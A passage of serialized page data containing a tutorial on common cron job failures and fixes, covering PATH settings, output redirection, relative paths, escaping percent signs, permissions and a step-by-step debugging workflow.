script.sh:\n",[1560,269850,269851],{"class":1562,"line":889},[1560,269852,27439],{"class":1649},[1560,269854,269855,269857,269859,269862,269864,269866,269869,269872,269875,269877,269879],{"class":1562,"line":1710},[1560,269856,8052],{"class":1669},[1560,269858,8709],{"class":1570},[1560,269860,269861],{"class":5634},"\"$(",[1560,269863,88150],{"class":1566},[1560,269865,29002],{"class":5634},[1560,269867,269868],{"class":1576},"\\%",[1560,269870,269871],{"class":5634},"d)\"",[1560,269873,269874],{"class":1669}," -eq",[1560,269876,140816],{"class":1576},[1560,269878,8724],{"class":1570},[1560,269880,8075],{"class":1669},[1560,269882,269883],{"class":1562,"line":1717},[1560,269884,269885],{"class":1649},"    # Actually do the work\n",[1560,269887,269888,269891],{"class":1562,"line":1747},[1560,269889,269890],{"class":1576},"    echo",[1560,269892,269893],{"class":5634}," \"Running because it's the 15th AND a Monday\"\n",[1560,269895,269896],{"class":1562,"line":2507},[1560,269897,8148],{"class":1669},[11,269899,269901],{"id":269900},"_3-missing-environment-variables","3. Missing Environment Variables",[16,269903,269904],{},"The Problem: Cron runs with a minimal PATH and no user environment variables. Scripts work in terminal but fail in cron.",[16,269906,269907],{},[47,269908,269909],{},"The error you'll see in logs:",[135,269911,269913],{"className":6951,"code":269912,"language":6953,"meta":141,"style":141},"\u002Fhome\u002Fuser\u002Fscript.sh: line 5: python3: command not found\n",[143,269914,269915],{"__ignoreMap":141},[1560,269916,269917,269920,269922,269925,269928,269931,269934],{"class":1562,"line":1563},[1560,269918,269919],{"class":1566},"\u002Fhome\u002Fuser\u002Fscript.sh:",[1560,269921,110655],{"class":5634},[1560,269923,269924],{"class":5634}," 5:",[1560,269926,269927],{"class":5634}," python3:",[1560,269929,269930],{"class":5634}," command",[1560,269932,269933],{"class":5634}," not",[1560,269935,269936],{"class":5634}," found\n",[16,269938,269939],{},[47,269940,269941],{},"The fix (Option A - Set in crontab):",[135,269943,269945],{"className":6951,"code":269944,"language":6953,"meta":141,"style":141},"# Add at the top of crontab\nSHELL=\u002Fbin\u002Fbash\nPATH=\u002Fusr\u002Flocal\u002Fbin:\u002Fusr\u002Fbin:\u002Fbin\n\n# Or set full PATH for specific commands\n0 * * * * PATH=\u002Fusr\u002Flocal\u002Fbin:\u002Fusr\u002Fbin:\u002Fbin python3 \u002Fhome\u002Fuser\u002Fscript.py\n",[143,269946,269947,269952,269962,269972,269976,269981],{"__ignoreMap":141},[1560,269948,269949],{"class":1562,"line":1563},[1560,269950,269951],{"class":1649},"# Add at the top of crontab\n",[1560,269953,269954,269957,269959],{"class":1562,"line":337},[1560,269955,269956],{"class":1570},"SHELL",[1560,269958,7297],{"class":1669},[1560,269960,269961],{"class":5634},"\u002Fbin\u002Fbash\n",[1560,269963,269964,269967,269969],{"class":1562,"line":343},[1560,269965,269966],{"class":1570},"PATH",[1560,269968,7297],{"class":1669},[1560,269970,269971],{"class":5634},"\u002Fusr\u002Flocal\u002Fbin:\u002Fusr\u002Fbin:\u002Fbin\n",[1560,269973,269974],{"class":1562,"line":365},[1560,269975,1702],{"emptyLinePlaceholder":363},[1560,269977,269978],{"class":1562,"line":889},[1560,269979,269980],{"class":1649},"# Or set full PATH for specific commands\n",[1560,269982,269983,269985,269987,269989,269991,269993,269996,269998],{"class":1562,"line":1710},[1560,269984,5285],{"class":1566},[1560,269986,8064],{"class":1576},[1560,269988,8064],{"class":1576},[1560,269990,8064],{"class":1576},[1560,269992,8064],{"class":1576},[1560,269994,269995],{"class":5634}," PATH=\u002Fusr\u002Flocal\u002Fbin:\u002Fusr\u002Fbin:\u002Fbin",[1560,269997,154260],{"class":5634},[1560,269999,270000],{"class":5634}," \u002Fhome\u002Fuser\u002Fscript.py\n",[16,270002,270003],{},[47,270004,270005],{},"The fix (Option B - Set in script):",[135,270007,270009],{"className":6951,"code":270008,"language":6953,"meta":141,"style":141},"#!\u002Fbin\u002Fbash\n# At the top of your script\nexport PATH=\u002Fusr\u002Flocal\u002Fbin:\u002Fusr\u002Fbin:\u002Fbin:\u002Fusr\u002Flocal\u002Fsbin:\u002Fusr\u002Fsbin:\u002Fsbin\n\n# Now use commands\npython3 \u002Fpath\u002Fto\u002Fscript.py\n",[143,270010,270011,270015,270020,270032,270036,270041],{"__ignoreMap":141},[1560,270012,270013],{"class":1562,"line":1563},[1560,270014,27439],{"class":1649},[1560,270016,270017],{"class":1562,"line":337},[1560,270018,270019],{"class":1649},"# At the top of your script\n",[1560,270021,270022,270024,270027,270029],{"class":1562,"line":343},[1560,270023,9187],{"class":1669},[1560,270025,270026],{"class":1570}," PATH",[1560,270028,7297],{"class":1669},[1560,270030,270031],{"class":1570},"\u002Fusr\u002Flocal\u002Fbin:\u002Fusr\u002Fbin:\u002Fbin:\u002Fusr\u002Flocal\u002Fsbin:\u002Fusr\u002Fsbin:\u002Fsbin\n",[1560,270033,270034],{"class":1562,"line":365},[1560,270035,1702],{"emptyLinePlaceholder":363},[1560,270037,270038],{"class":1562,"line":889},[1560,270039,270040],{"class":1649},"# Now use commands\n",[1560,270042,270043,270046],{"class":1562,"line":1710},[1560,270044,270045],{"class":1566},"python3",[1560,270047,270048],{"class":5634}," \u002Fpath\u002Fto\u002Fscript.py\n",[16,270050,270051,224254,270054,270057],{},[47,270052,270053],{},"Debugging tip:",[143,270055,270056],{},"env"," command to a cron job and check the output:",[135,270059,270061],{"className":6951,"code":270060,"language":6953,"meta":141,"style":141},"* * * * * env > \u002Ftmp\u002Fcron-env-debug.txt\n",[143,270062,270063],{"__ignoreMap":141},[1560,270064,270065,270067,270069,270071,270073,270075,270078,270080],{"class":1562,"line":1563},[1560,270066,8069],{"class":1669},[1560,270068,8064],{"class":1669},[1560,270070,8064],{"class":1669},[1560,270072,8064],{"class":1669},[1560,270074,8064],{"class":1669},[1560,270076,270077],{"class":1570}," env ",[1560,270079,28226],{"class":1669},[1560,270081,270082],{"class":1570}," \u002Ftmp\u002Fcron-env-debug.txt\n",[11,270084,270086],{"id":270085},"_4-output-not-redirected","4. Output Not Redirected",[16,270088,270089],{},"The Problem: Cron sends email for every output line, which either floods your mailbox or gets silently discarded if no MTA is configured.",[16,270091,270092],{},[47,270093,270094],{},"The silent failure:",[135,270096,270098],{"className":6951,"code":270097,"language":6953,"meta":141,"style":141},"# This might email you or do nothing\n0 2 * * * \u002Fhome\u002Fuser\u002Fbackup.sh\n",[143,270099,270100,270105],{"__ignoreMap":141},[1560,270101,270102],{"class":1562,"line":1563},[1560,270103,270104],{"class":1649},"# This might email you or do nothing\n",[1560,270106,270107,270109,270111,270113,270115,270117],{"class":1562,"line":337},[1560,270108,5285],{"class":1566},[1560,270110,9426],{"class":1576},[1560,270112,8064],{"class":1576},[1560,270114,8064],{"class":1576},[1560,270116,8064],{"class":1576},[1560,270118,270119],{"class":5634}," \u002Fhome\u002Fuser\u002Fbackup.sh\n",[16,270121,270122],{},[47,270123,83822],{},[135,270125,270127],{"className":6951,"code":270126,"language":6953,"meta":141,"style":141},"# Redirect stdout and stderr to a log file\n0 2 * * * \u002Fhome\u002Fuser\u002Fbackup.sh >> \u002Fvar\u002Flog\u002Fbackup.log 2>&1\n\n# Or redirect to \u002Fdev\u002Fnull if you don't need output\n0 2 * * * \u002Fhome\u002Fuser\u002Fbackup.sh > \u002Fdev\u002Fnull 2>&1\n\n# For timestamped logs\n0 2 * * * \u002Fhome\u002Fuser\u002Fbackup.sh >> \u002Fvar\u002Flog\u002Fbackup.log 2>&1 && echo \"$(date): Backup completed\" >> \u002Fvar\u002Flog\u002Fbackup.log\n",[143,270128,270129,270134,270157,270161,270166,270187,270191,270196],{"__ignoreMap":141},[1560,270130,270131],{"class":1562,"line":1563},[1560,270132,270133],{"class":1649},"# Redirect stdout and stderr to a log file\n",[1560,270135,270136,270138,270140,270142,270144,270146,270149,270151,270154],{"class":1562,"line":337},[1560,270137,5285],{"class":1566},[1560,270139,9426],{"class":1576},[1560,270141,8064],{"class":1576},[1560,270143,8064],{"class":1576},[1560,270145,8064],{"class":1576},[1560,270147,270148],{"class":5634}," \u002Fhome\u002Fuser\u002Fbackup.sh",[1560,270150,211498],{"class":1669},[1560,270152,270153],{"class":5634}," \u002Fvar\u002Flog\u002Fbackup.log",[1560,270155,270156],{"class":1669}," 2>&1\n",[1560,270158,270159],{"class":1562,"line":343},[1560,270160,1702],{"emptyLinePlaceholder":363},[1560,270162,270163],{"class":1562,"line":365},[1560,270164,270165],{"class":1649},"# Or redirect to \u002Fdev\u002Fnull if you don't need output\n",[1560,270167,270168,270170,270172,270174,270176,270178,270180,270182,270185],{"class":1562,"line":889},[1560,270169,5285],{"class":1566},[1560,270171,9426],{"class":1576},[1560,270173,8064],{"class":1576},[1560,270175,8064],{"class":1576},[1560,270177,8064],{"class":1576},[1560,270179,270148],{"class":5634},[1560,270181,32916],{"class":1669},[1560,270183,270184],{"class":5634}," \u002Fdev\u002Fnull",[1560,270186,270156],{"class":1669},[1560,270188,270189],{"class":1562,"line":1710},[1560,270190,1702],{"emptyLinePlaceholder":363},[1560,270192,270193],{"class":1562,"line":1717},[1560,270194,270195],{"class":1649},"# For timestamped logs\n",[1560,270197,270198,270200,270202,270204,270206,270208,270210,270212,270214,270217,270220,270222,270224,270226,270229,270231],{"class":1562,"line":1747},[1560,270199,5285],{"class":1566},[1560,270201,9426],{"class":1576},[1560,270203,8064],{"class":1576},[1560,270205,8064],{"class":1576},[1560,270207,8064],{"class":1576},[1560,270209,270148],{"class":5634},[1560,270211,211498],{"class":1669},[1560,270213,270153],{"class":5634},[1560,270215,270216],{"class":1669}," 2>&1",[1560,270218,270219],{"class":1570}," && ",[1560,270221,24278],{"class":1576},[1560,270223,8097],{"class":5634},[1560,270225,88150],{"class":1566},[1560,270227,270228],{"class":5634},"): Backup completed\"",[1560,270230,211498],{"class":1669},[1560,270232,270233],{"class":5634}," \u002Fvar\u002Flog\u002Fbackup.log\n",[11,270235,270237],{"id":270236},"_5-relative-path-problems","5. Relative Path Problems",[16,270239,270240,270241,9368],{},"The Problem: Scripts use relative paths that work in your current directory but fail when cron runs from cron's home directory (usually ",[143,270242,9423],{},[16,270244,270245],{},[47,270246,270247],{},"The broken script:",[135,270249,270251],{"className":6951,"code":270250,"language":6953,"meta":141,"style":141},"#!\u002Fbin\u002Fbash\n# This works when you're in \u002Fhome\u002Fuser\u002Fproject\u002F\npython3 main.py  # Looks for .\u002Fmain.py\ncat data.txt     # Looks for .\u002Fdata.txt\n",[143,270252,270253,270257,270262,270272],{"__ignoreMap":141},[1560,270254,270255],{"class":1562,"line":1563},[1560,270256,27439],{"class":1649},[1560,270258,270259],{"class":1562,"line":337},[1560,270260,270261],{"class":1649},"# This works when you're in \u002Fhome\u002Fuser\u002Fproject\u002F\n",[1560,270263,270264,270266,270269],{"class":1562,"line":343},[1560,270265,270045],{"class":1566},[1560,270267,270268],{"class":5634}," main.py",[1560,270270,270271],{"class":1649},"  # Looks for .\u002Fmain.py\n",[1560,270273,270274,270276,270279],{"class":1562,"line":365},[1560,270275,8997],{"class":1566},[1560,270277,270278],{"class":5634}," data.txt",[1560,270280,270281],{"class":1649},"     # Looks for .\u002Fdata.txt\n",[16,270283,270284],{},[47,270285,270286],{},"The fix (Option A - cd first):",[135,270288,270290],{"className":6951,"code":270289,"language":6953,"meta":141,"style":141},"#!\u002Fbin\u002Fbash\ncd \u002Fhome\u002Fuser\u002Fproject || exit 1\npython3 main.py\ncat data.txt\n",[143,270291,270292,270296,270310,270317],{"__ignoreMap":141},[1560,270293,270294],{"class":1562,"line":1563},[1560,270295,27439],{"class":1649},[1560,270297,270298,270300,270303,270305,270308],{"class":1562,"line":337},[1560,270299,24791],{"class":1576},[1560,270301,270302],{"class":5634}," \u002Fhome\u002Fuser\u002Fproject",[1560,270304,197096],{"class":1669},[1560,270306,270307],{"class":1576}," exit",[1560,270309,28389],{"class":1576},[1560,270311,270312,270314],{"class":1562,"line":343},[1560,270313,270045],{"class":1566},[1560,270315,270316],{"class":5634}," main.py\n",[1560,270318,270319,270321],{"class":1562,"line":365},[1560,270320,8997],{"class":1566},[1560,270322,270323],{"class":5634}," data.txt\n",[16,270325,270326],{},[47,270327,270328],{},"The fix (Option B - Absolute paths):",[135,270330,270332],{"className":6951,"code":270331,"language":6953,"meta":141,"style":141},"#!\u002Fbin\u002Fbash\npython3 \u002Fhome\u002Fuser\u002Fproject\u002Fmain.py\ncat \u002Fhome\u002Fuser\u002Fproject\u002Fdata.txt\n",[143,270333,270334,270338,270345],{"__ignoreMap":141},[1560,270335,270336],{"class":1562,"line":1563},[1560,270337,27439],{"class":1649},[1560,270339,270340,270342],{"class":1562,"line":337},[1560,270341,270045],{"class":1566},[1560,270343,270344],{"class":5634}," \u002Fhome\u002Fuser\u002Fproject\u002Fmain.py\n",[1560,270346,270347,270349],{"class":1562,"line":343},[1560,270348,8997],{"class":1566},[1560,270350,270351],{"class":5634}," \u002Fhome\u002Fuser\u002Fproject\u002Fdata.txt\n",[16,270353,270354],{},[47,270355,270356],{},"The fix (Option C - In crontab):",[135,270358,270360],{"className":6951,"code":270359,"language":6953,"meta":141,"style":141},"0 2 * * * cd \u002Fhome\u002Fuser\u002Fproject && .\u002Fscript.sh\n",[143,270361,270362],{"__ignoreMap":141},[1560,270363,270364,270366,270368,270370,270372,270374,270377,270379,270381],{"class":1562,"line":1563},[1560,270365,5285],{"class":1566},[1560,270367,9426],{"class":1576},[1560,270369,8064],{"class":1576},[1560,270371,8064],{"class":1576},[1560,270373,8064],{"class":1576},[1560,270375,270376],{"class":5634}," cd",[1560,270378,270302],{"class":5634},[1560,270380,270219],{"class":1570},[1560,270382,270383],{"class":1566},".\u002Fscript.sh\n",[11,270385,270387],{"id":270386},"_6-percent-signs-in-crontab","6. Percent Signs in Crontab",[16,270389,270390,270391,270393],{},"The Problem: The percent sign ",[143,270392,17990],{}," is a special character in crontab—it gets replaced with a newline. This breaks date formatting commands.",[16,270395,270396],{},[47,270397,270398],{},"The broken cron entry:",[135,270400,270402],{"className":6951,"code":270401,"language":6953,"meta":141,"style":141},"# This will NOT work as expected\n0 0 * * * tar -czf backup-$(date +%Y-%m-%d).tar.gz \u002Fhome\u002Fuser\u002Fdata\n",[143,270403,270404,270409],{"__ignoreMap":141},[1560,270405,270406],{"class":1562,"line":1563},[1560,270407,270408],{"class":1649},"# This will NOT work as expected\n",[1560,270410,270411,270413,270415,270417,270419,270421,270424,270427,270430,270433,270435,270438,270440,270443],{"class":1562,"line":337},[1560,270412,5285],{"class":1566},[1560,270414,13541],{"class":1576},[1560,270416,8064],{"class":1576},[1560,270418,8064],{"class":1576},[1560,270420,8064],{"class":1576},[1560,270422,270423],{"class":5634}," tar",[1560,270425,270426],{"class":1576}," -czf",[1560,270428,270429],{"class":5634}," backup-",[1560,270431,270432],{"class":1570},"$(",[1560,270434,88150],{"class":1566},[1560,270436,270437],{"class":5634}," +%Y-%m-%d",[1560,270439,1525],{"class":1570},[1560,270441,270442],{"class":5634},".tar.gz",[1560,270444,270445],{"class":5634}," \u002Fhome\u002Fuser\u002Fdata\n",[16,270447,270448],{},[47,270449,270450],{},"The fix (escape the percent signs):",[135,270452,270454],{"className":6951,"code":270453,"language":6953,"meta":141,"style":141},"# Escape each % with \\\n0 0 * * * tar -czf backup-$(date +\\%Y-\\%m-\\%d).tar.gz \u002Fhome\u002Fuser\u002Fdata\n",[143,270455,270456,270461],{"__ignoreMap":141},[1560,270457,270458],{"class":1562,"line":1563},[1560,270459,270460],{"class":1649},"# Escape each % with \\\n",[1560,270462,270463,270465,270467,270469,270471,270473,270475,270477,270479,270481,270483,270485,270487,270490,270492,270495,270497,270499,270501,270503],{"class":1562,"line":337},[1560,270464,5285],{"class":1566},[1560,270466,13541],{"class":1576},[1560,270468,8064],{"class":1576},[1560,270470,8064],{"class":1576},[1560,270472,8064],{"class":1576},[1560,270474,270423],{"class":5634},[1560,270476,270426],{"class":1576},[1560,270478,270429],{"class":5634},[1560,270480,270432],{"class":1570},[1560,270482,88150],{"class":1566},[1560,270484,29002],{"class":5634},[1560,270486,269868],{"class":1576},[1560,270488,270489],{"class":5634},"Y-",[1560,270491,269868],{"class":1576},[1560,270493,270494],{"class":5634},"m-",[1560,270496,269868],{"class":1576},[1560,270498,27742],{"class":5634},[1560,270500,1525],{"class":1570},[1560,270502,270442],{"class":5634},[1560,270504,270445],{"class":5634},[16,270506,270507],{},[47,270508,270509],{},"Better fix (use a script):",[135,270511,270513],{"className":6951,"code":270512,"language":6953,"meta":141,"style":141},"# In crontab - call a script instead\n0 0 * * * \u002Fhome\u002Fuser\u002Fbackup-wrapper.sh\n\n# In backup-wrapper.sh\n#!\u002Fbin\u002Fbash\ntar -czf \"backup-$(date +%Y-%m-%d).tar.gz\" \u002Fhome\u002Fuser\u002Fdata\n",[143,270514,270515,270520,270535,270539,270544,270548],{"__ignoreMap":141},[1560,270516,270517],{"class":1562,"line":1563},[1560,270518,270519],{"class":1649},"# In crontab - call a script instead\n",[1560,270521,270522,270524,270526,270528,270530,270532],{"class":1562,"line":337},[1560,270523,5285],{"class":1566},[1560,270525,13541],{"class":1576},[1560,270527,8064],{"class":1576},[1560,270529,8064],{"class":1576},[1560,270531,8064],{"class":1576},[1560,270533,270534],{"class":5634}," \u002Fhome\u002Fuser\u002Fbackup-wrapper.sh\n",[1560,270536,270537],{"class":1562,"line":343},[1560,270538,1702],{"emptyLinePlaceholder":363},[1560,270540,270541],{"class":1562,"line":365},[1560,270542,270543],{"class":1649},"# In backup-wrapper.sh\n",[1560,270545,270546],{"class":1562,"line":889},[1560,270547,27439],{"class":1649},[1560,270549,270550,270553,270555,270558,270560,270563],{"class":1562,"line":1710},[1560,270551,270552],{"class":1566},"tar",[1560,270554,270426],{"class":1576},[1560,270556,270557],{"class":5634}," \"backup-$(",[1560,270559,88150],{"class":1566},[1560,270561,270562],{"class":5634}," +%Y-%m-%d).tar.gz\"",[1560,270564,270445],{"class":5634},[11,270566,270568],{"id":270567},"_7-permission-and-ownership-issues","7. Permission and Ownership Issues",[16,270570,270571],{},"The Problem: Cron jobs run as the user who owns the crontab, but file permissions may prevent access to required resources.",[16,270573,270574],{},[47,270575,270576],{},"Common symptoms:",[41,270578,270579,270582,270585],{},[44,270580,270581],{},"\"Permission denied\" errors in logs",[44,270583,270584],{},"Script works when manually run with sudo, but fails in cron",[44,270586,270587],{},"Cannot write to log files or output directories",[16,270589,270590],{},[47,270591,83822],{},[135,270593,270595],{"className":6951,"code":270594,"language":6953,"meta":141,"style":141},"# Check what user the cron runs as\n* * * * * whoami > \u002Ftmp\u002Fcron-user.txt\n\n# Ensure script is executable\nchmod +x \u002Fhome\u002Fuser\u002Fscript.sh\n\n# Ensure log directory is writable\ntouch \u002Fvar\u002Flog\u002Fmy-script.log\nchmod 644 \u002Fvar\u002Flog\u002Fmy-script.log\n\n# If you need root privileges, use root's crontab\nsudo crontab -e  # Edit root's crontab\n\n# Or use sudo in the cron job (configure sudoers appropriately)\n0 2 * * * sudo \u002Fhome\u002Fuser\u002Froot-required-script.sh\n",[143,270596,270597,270602,270622,270626,270631,270639,270643,270648,270656,270664,270668,270673,270685,270689,270694],{"__ignoreMap":141},[1560,270598,270599],{"class":1562,"line":1563},[1560,270600,270601],{"class":1649},"# Check what user the cron runs as\n",[1560,270603,270604,270606,270608,270610,270612,270614,270617,270619],{"class":1562,"line":337},[1560,270605,8069],{"class":1669},[1560,270607,8064],{"class":1669},[1560,270609,8064],{"class":1669},[1560,270611,8064],{"class":1669},[1560,270613,8064],{"class":1669},[1560,270615,270616],{"class":1570}," whoami ",[1560,270618,28226],{"class":1669},[1560,270620,270621],{"class":1570}," \u002Ftmp\u002Fcron-user.txt\n",[1560,270623,270624],{"class":1562,"line":343},[1560,270625,1702],{"emptyLinePlaceholder":363},[1560,270627,270628],{"class":1562,"line":365},[1560,270629,270630],{"class":1649},"# Ensure script is executable\n",[1560,270632,270633,270635,270637],{"class":1562,"line":889},[1560,270634,24759],{"class":1566},[1560,270636,142417],{"class":5634},[1560,270638,269806],{"class":5634},[1560,270640,270641],{"class":1562,"line":1710},[1560,270642,1702],{"emptyLinePlaceholder":363},[1560,270644,270645],{"class":1562,"line":1717},[1560,270646,270647],{"class":1649},"# Ensure log directory is writable\n",[1560,270649,270650,270653],{"class":1562,"line":1747},[1560,270651,270652],{"class":1566},"touch",[1560,270654,270655],{"class":5634}," \u002Fvar\u002Flog\u002Fmy-script.log\n",[1560,270657,270658,270660,270662],{"class":1562,"line":2507},[1560,270659,24759],{"class":1566},[1560,270661,24762],{"class":1576},[1560,270663,270655],{"class":5634},[1560,270665,270666],{"class":1562,"line":2524},[1560,270667,1702],{"emptyLinePlaceholder":363},[1560,270669,270670],{"class":1562,"line":2529},[1560,270671,270672],{"class":1649},"# If you need root privileges, use root's crontab\n",[1560,270674,270675,270677,270680,270682],{"class":1562,"line":2534},[1560,270676,27025],{"class":1566},[1560,270678,270679],{"class":5634}," crontab",[1560,270681,8733],{"class":1576},[1560,270683,270684],{"class":1649},"  # Edit root's crontab\n",[1560,270686,270687],{"class":1562,"line":2542},[1560,270688,1702],{"emptyLinePlaceholder":363},[1560,270690,270691],{"class":1562,"line":2558},[1560,270692,270693],{"class":1649},"# Or use sudo in the cron job (configure sudoers appropriately)\n",[1560,270695,270696,270698,270700,270702,270704,270706,270709],{"class":1562,"line":2570},[1560,270697,5285],{"class":1566},[1560,270699,9426],{"class":1576},[1560,270701,8064],{"class":1576},[1560,270703,8064],{"class":1576},[1560,270705,8064],{"class":1576},[1560,270707,270708],{"class":5634}," sudo",[1560,270710,270711],{"class":5634}," \u002Fhome\u002Fuser\u002Froot-required-script.sh\n",[11,270713,270715],{"id":270714},"debugging-workflow","Debugging Workflow",[16,270717,270718],{},"When a cron job isn't working, follow this systematic approach:",[77,270720,270721,270760,270810,270845],{},[44,270722,270723,270726],{},[47,270724,270725],{},"Check cron is running:",[135,270727,270729],{"className":6951,"code":270728,"language":6953,"meta":141,"style":141},"systemctl status cron  # or crond on some systems\nps aux | grep cron\n",[143,270730,270731,270745],{"__ignoreMap":141},[1560,270732,270733,270736,270739,270742],{"class":1562,"line":1563},[1560,270734,270735],{"class":1566},"systemctl",[1560,270737,270738],{"class":5634}," status",[1560,270740,270741],{"class":5634}," cron",[1560,270743,270744],{"class":1649},"  # or crond on some systems\n",[1560,270746,270747,270750,270753,270755,270757],{"class":1562,"line":337},[1560,270748,270749],{"class":1566},"ps",[1560,270751,270752],{"class":5634}," aux",[1560,270754,17408],{"class":1669},[1560,270756,269686],{"class":1566},[1560,270758,270759],{"class":5634}," cron\n",[44,270761,270762,270765],{},[47,270763,270764],{},"Check cron logs:",[135,270766,270768],{"className":6951,"code":270767,"language":6953,"meta":141,"style":141},"grep CRON \u002Fvar\u002Flog\u002Fsyslog      # Debian\u002FUbuntu\ngrep CRON \u002Fvar\u002Flog\u002Fcron        # RHEL\u002FCentOS\njournalctl -u cron -f          # systemd systems\n",[143,270769,270770,270783,270795],{"__ignoreMap":141},[1560,270771,270772,270774,270777,270780],{"class":1562,"line":1563},[1560,270773,8994],{"class":1566},[1560,270775,270776],{"class":5634}," CRON",[1560,270778,270779],{"class":5634}," \u002Fvar\u002Flog\u002Fsyslog",[1560,270781,270782],{"class":1649},"      # Debian\u002FUbuntu\n",[1560,270784,270785,270787,270789,270792],{"class":1562,"line":337},[1560,270786,8994],{"class":1566},[1560,270788,270776],{"class":5634},[1560,270790,270791],{"class":5634}," \u002Fvar\u002Flog\u002Fcron",[1560,270793,270794],{"class":1649},"        # RHEL\u002FCentOS\n",[1560,270796,270797,270800,270803,270805,270807],{"class":1562,"line":343},[1560,270798,270799],{"class":1566},"journalctl",[1560,270801,270802],{"class":1576}," -u",[1560,270804,270741],{"class":5634},[1560,270806,8091],{"class":1576},[1560,270808,270809],{"class":1649},"          # systemd systems\n",[44,270811,270812,270815],{},[47,270813,270814],{},"Test your command manually:",[135,270816,270818],{"className":6951,"code":270817,"language":6953,"meta":141,"style":141},"# Simulate cron's environment\nenv -i SHELL=\u002Fbin\u002Fsh PATH=\u002Fusr\u002Fbin:\u002Fbin \u002Fbin\u002Fsh -c \"your-command-here\"\n",[143,270819,270820,270825],{"__ignoreMap":141},[1560,270821,270822],{"class":1562,"line":1563},[1560,270823,270824],{"class":1649},"# Simulate cron's environment\n",[1560,270826,270827,270829,270831,270834,270837,270840,270842],{"class":1562,"line":337},[1560,270828,270056],{"class":1566},[1560,270830,11022],{"class":1576},[1560,270832,270833],{"class":5634}," SHELL=\u002Fbin\u002Fsh",[1560,270835,270836],{"class":5634}," PATH=\u002Fusr\u002Fbin:\u002Fbin",[1560,270838,270839],{"class":5634}," \u002Fbin\u002Fsh",[1560,270841,27519],{"class":1576},[1560,270843,270844],{"class":5634}," \"your-command-here\"\n",[44,270846,270847,270850],{},[47,270848,270849],{},"Add logging to your script:",[135,270851,270853],{"className":6951,"code":270852,"language":6953,"meta":141,"style":141},"#!\u002Fbin\u002Fbash\nexec >> \u002Ftmp\u002Fmy-script-debug.log 2>&1\necho \"Script started at $(date)\"\nset -x  # Enable command tracing\n# ... your script content ...\n",[143,270854,270855,270859,270871,270882,270891],{"__ignoreMap":141},[1560,270856,270857],{"class":1562,"line":1563},[1560,270858,27439],{"class":1649},[1560,270860,270861,270864,270866,270869],{"class":1562,"line":337},[1560,270862,270863],{"class":1576},"exec",[1560,270865,211498],{"class":1669},[1560,270867,270868],{"class":5634}," \u002Ftmp\u002Fmy-script-debug.log",[1560,270870,270156],{"class":1669},[1560,270872,270873,270875,270878,270880],{"class":1562,"line":343},[1560,270874,24278],{"class":1576},[1560,270876,270877],{"class":5634}," \"Script started at $(",[1560,270879,88150],{"class":1566},[1560,270881,8109],{"class":5634},[1560,270883,270884,270886,270888],{"class":1562,"line":365},[1560,270885,101321],{"class":1576},[1560,270887,213887],{"class":1576},[1560,270889,270890],{"class":1649},"  # Enable command tracing\n",[1560,270892,270893],{"class":1562,"line":889},[1560,270894,270895],{"class":1649},"# ... your script content ...\n",[11,270897,270899],{"id":270898},"quick-reference-common-cron-debug-commands","Quick Reference: Common Cron Debug Commands",[193,270901,270902,270910],{},[196,270903,270904],{},[199,270905,270906,270908],{},[202,270907,25089],{},[202,270909,2758],{},[211,270911,270912,270922,270932,270942,270952],{},[199,270913,270914,270919],{},[216,270915,270916],{},[143,270917,270918],{},"crontab -l",[216,270920,270921],{},"List current user's cron jobs",[199,270923,270924,270929],{},[216,270925,270926],{},[143,270927,270928],{},"crontab -e",[216,270930,270931],{},"Edit current user's cron jobs",[199,270933,270934,270939],{},[216,270935,270936],{},[143,270937,270938],{},"grep CRON \u002Fvar\u002Flog\u002Fsyslog",[216,270940,270941],{},"Check cron execution logs",[199,270943,270944,270949],{},[216,270945,270946],{},[143,270947,270948],{},"systemctl status cron",[216,270950,270951],{},"Verify cron daemon is running",[199,270953,270954,270959],{},[216,270955,270956],{},[143,270957,270958],{},"env -i \u002Fbin\u002Fsh -c \"cmd\"",[216,270960,270961],{},"Test command with minimal environment",[11,270963,257800],{"id":257799},[41,270965,270966],{},[44,270967,270968,270970],{},[98,270969,986],{"href":985}," - Decode any cron expression and see next run times",[2043,270972,270973],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}",{"title":141,"searchDepth":337,"depth":337,"links":270975},[270976,270977,270978,270979,270980,270981,270982,270983,270984,270985,270986],{"id":256641,"depth":337,"text":2776},{"id":269627,"depth":337,"text":269628},{"id":269763,"depth":337,"text":269764},{"id":269900,"depth":337,"text":269901},{"id":270085,"depth":337,"text":270086},{"id":270236,"depth":337,"text":270237},{"id":270386,"depth":337,"text":270387},{"id":270567,"depth":337,"text":270568},{"id":270714,"depth":337,"text":270715},{"id":270898,"depth":337,"text":270899},{"id":257799,"depth":337,"text":257800},"Debug cron jobs like a pro. Fix 7 common cron issues: timezone errors, environment variables, output redirection, path problems, and 